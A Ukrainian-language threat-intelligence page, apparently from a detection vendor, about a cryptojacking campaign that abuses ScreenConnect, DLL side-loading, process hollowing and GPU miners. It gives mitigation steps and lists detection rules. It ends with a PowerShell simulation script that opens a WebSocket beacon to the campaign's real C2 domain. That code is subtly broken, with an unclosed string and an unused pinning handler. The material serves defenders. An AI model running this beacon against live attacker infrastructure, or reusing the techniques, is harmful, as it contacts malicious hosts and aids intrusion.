Від отруєних результатів пошуку до майнінгу на GPU: Кампанія криптоджекінгу за допомогою ScreenConnect та .NET утиліт
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Ця кампанія використовує SEO-поінг і маніпульовані результати пошуку AI-чатботів, щоб заманювати користувачів до завантаження фальшивих інструментів для моніторингу обладнання. Троянізовані інсталятори переносять шкідливу DLL, яка завантажується в легітимний додаток і тихо встановлює ScreenConnect. Зловмисники потім використовують ScreenConnect для запуску користувацького наступника RunPE, який порожнить підписані Microsoft .NET бінарні файли та ін’єктує наступний етап корисного навантаження. Останній етап завантажує інструменти для майнінгу GPU, такі як gminer, lolMiner, та SRBMiner-MULTI, потім підтримує стабільність через заплановані завдання, ключі реєстру Run та ярлик на старті. Шкідливе ПЗ також додає виключення Windows Defender для зменшення ймовірності виявлення.
Розслідування
Дослідники Microsoft Defender відобразили повний ланцюг інфекції, включаючи метод завантаження DLL, зловживання ScreenConnect як інструментом для віддаленого управління і використання користувацького завантаження RunPE під назвою SimpleRunPE.exe. Аналітики відновили аргументи командного рядка ScreenConnect, ідентифікували список підписаних .NET бінарних файлів, використовуваних для процесу порожнення, і задокументували командно-контрольну кінцеву точку, захищену TLS сертифікатом з пінгом. Розслідування також виявило допоміжну інфраструктуру, як-от шкідливі домени, IP-адреси та деталі постачальника DNS, пов’язані з кампанією.
Зменшення ризику
Захисники повинні активувати захист, що доставляється через хмару, впроваджувати правила зменшення площі атаки, блокувати виконувані файли, які не відповідають вимогам репутації, поширеності або віку, і включати веб-захист і захист мережі в Microsoft Defender для Endpoint. Інструменти віддаленого управління, такі як ScreenConnect, повинні бути відключені, де це не потрібно, або суворо контролюватися, де необхідно, з моніторингом несанкціонованих запланованих завдань і підозрілих записів реєстру Run. Будь-які виключення Windows Defender, додані зловмисним ПЗ, мають бути видалені негайно, а виявлені шкідливі домени та IP-адреси повинні бути заблоковані.
Відповідь
If RuntimeHost.exe or SimpleRunPE.exe знайдений, що працює з прихованих каталогів кешу, негайно ізолюйте уражений хост, припиніть пов’язану сесію ScreenConnect і видаліть усі механізми стабільності, включаючи заплановані завдання, ключі Run і ярлики на старті. Заблокуйте домен minemine.gleeze.com і виявлені IP-адреси, потім проводьте пошук по середовищу для згаданих бінарних файлів майнера та autorun.dll. Нарешті, відновіть захисти Defender і перегляньте налаштування виключень для будь-яких несанкціонованих змін.
Потік атаки
Виявлення
Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через подію реєстру)
Переглянути
Schtasks Вказує на Підозрілий Каталог / Бінарний / Скрипт (через cmdline)
Переглянути
Альтернативне Віддалене Управління / ПЗ для Управління (через створення процесу)
Переглянути
Підозріле Використання CURL (через cmdline)
Переглянути
Виклик Підозрілих .NET Методів з Powershell (через powershell)
Переглянути
Підозрілі Зміни Налаштувань Windows Defender (через powershell)
Переглянути
Можливі Перевірки Переховування (через powershell)
Переглянути
Підозрілі Бінарні / Скрипти в Автозапуску (через подію з файлом)
Переглянути
IOC (SHA256 хеш) для виявлення: Від отруєних результатів пошуку до майнінгу на ГПУ: Кампанія криптоджекінгу, що зловживає ScreenConnect і Microsoft .NET Utility
Переглянути
IOC (SourceIP) для виявлення: Від отруєних результатів пошуку до майнінгу на ГПУ: Кампанія криптоджекінгу, що зловживає ScreenConnect і Microsoft .NET Utility
Переглянути
IOC (DestinationIP) для виявлення: Від отруєних результатів пошуку до майнінгу на ГПУ: Кампанія криптоджекінгу, що зловживає ScreenConnect і Microsoft .NET Utility
Переглянути
C2 Комунікація з Порожнього Бінарного Файлу [з’єднання Windows Network]
Переглянути
Стійкий Віддалений Доступ та Порожнення Процесу через ScreenConnect і SimpleRunPE [створення процесу Windows]
Переглянути
Виконання Симуляції
Передумова: Телеметрія та первісна перевірка базового рівня повинна бути пройдена.
Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), розробленої для виклику правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати виявлені TTPs та метою є створення точної телеметрії, що очікується логікою виявлення.
-
Атакова Розповідь і Команди:
Зловмисник вже доставив порожнє легітимне бінарне на жертву. Бінарний файл тепер ініціює стійкий C2 канал через WebSocket з’єднання зwss://minemine.gleeze.com:8443/ws. Щоб його емулювати, ми використовуємо скрипт PowerShell, який створює .NETClientWebSocket, за бажанням встановлює спеціальний зворотний виклик перевірки сертифіката TLS (імітуючи пінг сертифіката), і підтримує з’єднання протягом короткого часу. -
Скрипт Тесту Регресії:
# Симуляція C2 комунікації з порожнього бінарного # Вимоги: PowerShell 5+ (вбудовані .NET класи) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Створити клієнт WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # ДОДАТКОВО: Забезпечити пінг сертифікатів (приймати лише певний відбиток) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # замінник $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "З'єднання з C2 кінцевою точкою $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "З'єднання встановлено. Відправка маяка... # Відправити фиктивний маяк (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).To String('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Відкриття каналу для короткого часу } finally { Write-Host "Закриття WebSocket..." $ws.Abort() } -
Команди для Очищення:
# Забезпечте завершення будь-яких процесів WebSocket Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Опціонально видалити тимчасові файли, що використовуються в тесті Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue